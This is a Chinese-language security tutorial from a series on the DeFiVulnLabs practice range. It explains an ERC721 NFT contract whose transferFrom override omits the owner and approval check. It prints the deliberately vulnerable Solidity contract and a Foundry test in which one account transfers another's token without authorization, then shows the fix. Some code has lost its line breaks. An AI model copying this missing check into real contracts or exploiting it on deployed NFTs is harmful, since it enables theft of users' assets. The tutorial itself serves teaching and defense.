DeFiVulnLabs靶场全系列详解(四十三)ERC721 NFT 未经授权的被转移

admin 2025年5月19日16:33:01评论4 views字数 2157阅读7分11秒阅读模式
01
前言
此内容仅作为展示Solidity常见错误的概念证明。它严格用于教育目的,不应被解释为鼓励或认可任何形式的非法活动或实际的黑客攻击企图。所提供的信息仅供参考和学习,基于此内容采取的任何行动均由个人全权负责。使用这些信息应遵守适用的法律、法规和道德标准。
DeFiVulnLabs一共有47个漏洞实验,包括各种经典的合约漏洞和一些少见的可能造成安全问题的不安全代码,本系列将逐一解析每个漏洞,包括官方的解释和自己的理解。
02
ERC721 NFT未经授权可被转移
漏洞解释:
这个漏洞非常的简单,就是一个ERC721 Token 合约里存在未经授权的_transfer方法,从而导致ERC721 Token可以被任意的攻击者转走,造成资产损失。
ERC721 TOKEN 实际上就是NFT(非同质化代币),我们所说的数字藏品就是基于这个协议标准的基础上发行的,主要是新增了一些字段和要求。
代码地址:
https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/NFT-transfer.sol
代码解析:
看到代码一大串,实际上主要的代码就是下面这一些
然后这个合约由两个方法构成,transferFrom和  safeMINT方法
而transferFrom方法里没有经过任何的校验,就直接调用了_transfer这个方法(这个方法被实现在ERC721.sol代码里)
// SPDX-License-Identifier: MITpragma solidity ^0.8.18;import "forge-std/Test.sol";import "@openzeppelin/contracts/token/ERC721/ERC721.sol";import "@openzeppelin/contracts/access/Ownable.sol";contract VulnerableERC721 is ERC721Ownable {    constructor() ERC721("MyNFT""MNFT") {}    //custom transferFrom function which missing NFT owner check.    function transferFrom(        address from,        address to,        uint256 tokenId    ) public override {        // direct transfer        _transfer(from, to, tokenId);    }    function safeMint(address to, uint256 tokenIdpublic onlyOwner {        _safeMint(to, tokenId);    }}
所以说这个漏洞很简单,就是一个普通的transferFrom函数未校验
相关的其他漏洞报告
https://ventral.digital/posts/2022/8/18/sznsdaos-bountyboard-unauthorized-transferfrom-vulnerability/
batchFillOrder 函数中的 erc721.safeTransferFrom 调用。
DeFiVulnLabs靶场全系列详解(四十三)ERC721 NFT 未经授权的被转移
03
复现测试

forge.exe  test --contracts ./srctestNFT-transfer.sol -vvvv

对应的操作为:
0、查询代币归属
1、使用bob操作
2、直接未授权的把代币转给alice
3、再次查询代币归属
function testVulnerableERC721() public {        VulnerableERC721Contract.ownerOf(1);        vm.prank(bob);        VulnerableERC721Contract.transferFrom(address(alice), address(bob), 1);        console.log(VulnerableERC721Contract.ownerOf(1));    }
 可以看到代币的归属发生了变化

DeFiVulnLabs靶场全系列详解(四十三)ERC721 NFT 未经授权的被转移
而如果是fixed的合约则提示未经授权
DeFiVulnLabs靶场全系列详解(四十三)ERC721 NFT 未经授权的被转移
04
如何修复该问题
只需要require ERC721标准里的_isApprovedorOwner 即可
function transferFrom(address from, address to, uint256 tokenIdpublic override {    require(        _isApprovedOrOwner(_msgSender(), tokenId), // ✅ 检查调用者权限        "ERC721: caller is not token owner or approved"    );    _transfer(from, to, tokenId); // 再调用父合约的 _transfer}
05
感谢关注
个人语雀账号:https://www.yuque.com/iceqaq

原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(四十三)ERC721 NFT 未经授权的被转移

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日16:33:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DeFiVulnLabs靶场全系列详解(四十三)ERC721 NFT 未经授权的被转移https://cn-sec.com/archives/4081130.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息